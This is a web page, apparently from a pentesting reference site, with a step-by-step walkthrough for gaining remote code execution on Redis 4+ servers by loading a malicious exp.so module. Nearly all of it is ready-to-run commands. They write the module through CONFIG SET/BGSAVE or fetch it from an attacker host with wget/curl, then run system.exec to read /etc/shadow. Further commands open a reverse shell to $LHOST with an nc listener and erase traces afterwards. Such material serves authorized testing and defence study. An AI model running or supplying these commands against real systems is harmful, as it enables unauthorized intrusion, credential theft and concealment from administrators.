Skip to content

Redis RCE via Malicious Module Load

4 min read Created Mar 14, 2026 Last updated Jul 14, 2026

Redis 4.0 introduced external module support: loadable .so files that extend Redis with custom commands. A malicious module can register a command that executes arbitrary OS commands on the host. The module must first reach the target filesystem, then be loaded with MODULE LOAD. This technique works on Redis 4+ and does not depend on the target OS distribution (unlike CVE-2022-0543, it is not Debian-specific). Getting the module onto the target is the main challenge. Delivery options:

  • Master-slave replication: cleanest binary delivery, no prior shell needed
  • SCP or wget from an existing foothold on the target
  • Redis CONFIG SET + BGSAVE write (works but RDB encoding may corrupt the binary)

Prerequisites Check

1 - Redis version is 4.0 or above:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 info server | grep redis_version

Version 4.0.0 or higher required.

2 - CONFIG access:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config get dir

Must return a path. CONFIG is needed to write the module to disk via BGSAVE.

3 - MODULE command is not disabled:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 module list

An empty list or (empty array) is fine: it means no modules are loaded yet. An error like ERR unknown command 'module' means MODULE is disabled. If disabled, this technique will not work.

Step 1 - Get the exp.so Module

Clone the RedisModulesSDK repository which includes a precompiled exp.so:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/n0b0dyCN/RedisModulesSDK
┌──(kali㉿kali)-[~]
└─$ ls RedisModulesSDK/exp/

The exp.so file registers two commands: system.exec (runs a command and returns output) and system.rev (opens a reverse shell).

If the precompiled binary does not work (architecture mismatch), compile from source:

┌──(kali㉿kali)-[~]
└─$ cd RedisModulesSDK/exp
┌──(kali㉿kali)-[~]
└─$ make

Requires gcc and the Redis source headers: check the README for dependencies.

Step 2 - Deliver exp.so to the Target

Option A - Via Redis BGSAVE write:

Host the module on your attack box temporarily, then use Redis to write it. This only works cleanly if you can control binary content: easier with the master-slave technique. For a direct CONFIG write approach:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /tmp
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dbfilename exp.so

Then write the module content as a key (works for small modules, but RDB encoding may corrupt binary):

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 set payload "$(cat RedisModulesSDK/exp/exp.so | xxd -p | tr -d '\n')"
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 bgsave

For reliable binary delivery, use the master-slave replication technique which handles binary data cleanly: see https://hackindex.io/services/redis/exploitation/master-slave-replication.

Option B - Via a shell you already have:

If you have any shell on the target (from another service or prior exploitation), upload exp.so directly:

┌──(kali㉿kali)-[~]
└─$ scp RedisModulesSDK/exp/exp.so $USER@$TARGET_IP:/tmp/exp.so

Or via a web server:

┌──(kali㉿kali)-[~]
└─$ # On attack box:
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080
 
┌──(kali㉿kali)-[~]
└─$ # On target (from existing shell):
┌──(kali㉿kali)-[~]
└─$ wget http://$LHOST:8080/exp.so -O /tmp/exp.so
┌──(kali㉿kali)-[~]
└─$ curl -o /tmp/exp.so http://$LHOST:8080/exp.so

Step 3 - Load the Module

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 module load /tmp/exp.so
OK

Confirm it loaded:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 module list

Step 4 - Execute Commands

Run any OS command and get output:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 system.exec "id"
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 system.exec "whoami"
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 system.exec "cat /etc/shadow"

Get a reverse shell:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 system.rev $LHOST $LPORT

Step 5 - Unload and Clean Up

Remove the module after use:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 module unload shell
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /var/lib/redis
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dbfilename dump.rdb

Delete the uploaded file from the target if you have shell access:

┌──(kali㉿kali)-[~]
└─$ rm /tmp/exp.so

References